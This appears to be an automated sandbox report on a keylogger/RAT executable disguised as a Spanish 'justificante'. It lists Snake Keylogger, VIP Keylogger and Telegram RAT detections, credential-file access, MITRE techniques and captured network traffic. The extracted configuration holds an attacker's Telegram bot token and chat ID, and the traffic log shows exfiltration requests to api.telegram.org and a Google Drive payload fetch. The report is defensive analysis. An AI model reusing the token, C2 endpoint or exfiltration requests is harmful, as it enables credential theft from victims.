Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000004.00000002.2954634470.0000000032E9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Justificante67ab404ffe31b359e00a499e656454545.exe PID: 6392, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Justificante67ab404ffe31b359e00a499e656454545.exe PID: 6392, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	12 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	14 File and Directory Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0", "Chat_id": "7618581100", "Version": "4.4"}
Source: Justificante67ab404ffe31b359e00a499e656454545.exe.6392.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0/sendMessage"}

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_360987A8 CryptUnprotectData,		4_2_360987A8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36098EF1 CryptUnprotectData,		4_2_36098EF1

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49773 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49819 -> 149.154.167.220:443

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Justificante67ab404ffe31b359e00a499e656454545.exe	Virustotal: Detection: 29%			Perma Link
Source: Justificante67ab404ffe31b359e00a499e656454545.exe	ReversingLabs: Detection: 62%

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 0255F45Dh	4_2_0255F2C0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 0255F45Dh	4_2_0255F4AC
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 0255F45Dh	4_2_0255F52F
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 0255FC19h	4_2_0255F961
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAD069h	4_2_35EACDC0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAE1C9h	4_2_35EADF20
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EA3308h	4_2_35EA2EF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EA2D41h	4_2_35EA2A90
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAFBD9h	4_2_35EAF930
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAF781h	4_2_35EAF4D8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAF329h	4_2_35EAF080
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_35EA0040
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_35EA0853
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAEED1h	4_2_35EAEC28
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAEA79h	4_2_35EAE7D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAE621h	4_2_35EAE378
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EA0D0Dh	4_2_35EA0B30
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EA16F8h	4_2_35EA0B30
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EA3308h	4_2_35EA2EEA
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EADD71h	4_2_35EADAC8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_35EA0673
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAD919h	4_2_35EAD670
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EA3308h	4_2_35EA3236
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 35EAD4C1h	4_2_35EAD218
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36097EB5h	4_2_36097B78
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36099280h	4_2_36098FB0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36096CC1h	4_2_36096A18
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360948C9h	4_2_36094620
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36091CF9h	4_2_36091A50
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609F136h	4_2_3609EE68
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609D146h	4_2_3609CE78
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36094D21h	4_2_36094A78
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36097119h	4_2_36096E70
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36092151h	4_2_36091EA8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36097571h	4_2_360972C8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36095179h	4_2_36094ED0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609F5C6h	4_2_3609F2F8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609D5D6h	4_2_3609D308
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360925A9h	4_2_36092300
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609B5E6h	4_2_3609B318
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360955D1h	4_2_36095328
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360979C9h	4_2_36097720
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36092A01h	4_2_36092758
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609FA56h	4_2_3609F788
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36095A29h	4_2_36095780
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609DA66h	4_2_3609D798
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609BA76h	4_2_3609B7A8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36092E59h	4_2_36092BB0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36095E81h	4_2_36095BD8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360932B1h	4_2_36093008
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609DEF6h	4_2_3609DC28
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609BF06h	4_2_3609BC38
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360962D9h	4_2_36096030
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360902E9h	4_2_36090040
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36093709h	4_2_36093460
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36096733h	4_2_36096488
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then mov esp, ebp	4_2_3609B081
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36090741h	4_2_36090498
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609E386h	4_2_3609E0B8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609C396h	4_2_3609C0C8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36090B99h	4_2_360908F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36090FF1h	4_2_36090D48
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609E816h	4_2_3609E548
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609C826h	4_2_3609C558
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36091449h	4_2_360911A0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609ECA6h	4_2_3609E9D8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3609CCB6h	4_2_3609C9E8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 360918A1h	4_2_360915F8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 361019DEh	4_2_36101710
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36106970h	4_2_36106678
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36109E08h	4_2_36109B10
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36102BE6h	4_2_36102918
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610C910h	4_2_3610C618
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610E0F8h	4_2_3610DE00
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36104BD7h	4_2_36104908
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36107300h	4_2_36107008
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610B128h	4_2_3610AE30
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36103506h	4_2_36103238
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610DC30h	4_2_3610D938
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610F418h	4_2_3610F120
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 361054F6h	4_2_36105228
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36108620h	4_2_36108328
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610C448h	4_2_3610C150
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36103E26h	4_2_36103B58
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610EF50h	4_2_3610EC58
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610030Eh	4_2_36100040
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36106E38h	4_2_36106B40
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36105E16h	4_2_36105B48
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36109940h	4_2_36109648
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610D768h	4_2_3610D470
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36104746h	4_2_36104478
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36100C2Eh	4_2_36100960
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36108158h	4_2_36107E60
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610AC60h	4_2_3610A968
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610EA88h	4_2_3610E790
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36105066h	4_2_36104D98
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36107C90h	4_2_36107998
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610154Eh	4_2_36101280
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36109478h	4_2_36109180
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36102756h	4_2_36102488
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610BF80h	4_2_3610BC88
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610FDA8h	4_2_3610FAB0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36105986h	4_2_361056B8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36108FB0h	4_2_36108CB8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36101E47h	4_2_36101BA0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610A798h	4_2_3610A4A0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36103076h	4_2_36102DA8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610D2A0h	4_2_3610CFA8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610079Eh	4_2_361004D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 361077C8h	4_2_361074D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36106347h	4_2_36105FD8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610A2D0h	4_2_36109FD8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610BAB8h	4_2_3610B7C0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610E5C0h	4_2_3610E2C8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 361010BEh	4_2_36100DF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36108AE8h	4_2_361087F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 361022C6h	4_2_36101FF8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610B5F0h	4_2_3610B2F8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610CDD8h	4_2_3610CAE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 361042B6h	4_2_36103FE8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 3610F8E0h	4_2_3610F5E8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36141FE8h	4_2_36141CF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36141B20h	4_2_36141828
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36140338h	4_2_36140040
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36141190h	4_2_36140E98
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36140801h	4_2_36140508
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36141658h	4_2_36141360
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then jmp 36140CC8h	4_2_361409D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then push 00000000h	4_2_3616537D
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36160F8E
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36160C32
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36160C78
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36160BFD

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:103386%0D%0ADate%20and%20Time:%2015/02/2025%20/%2000:56:21%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20103386%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0/sendDocument?chat_id=7618581100&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd4dbcb03dbc38Host: api.telegram.orgContent-Length: 581

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49742 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 216.58.206.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 104.21.32.1:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1es5vHQSxsZ5VTyJjIIWEcmn6UO_kGzRz HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1es5vHQSxsZ5VTyJjIIWEcmn6UO_kGzRz&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
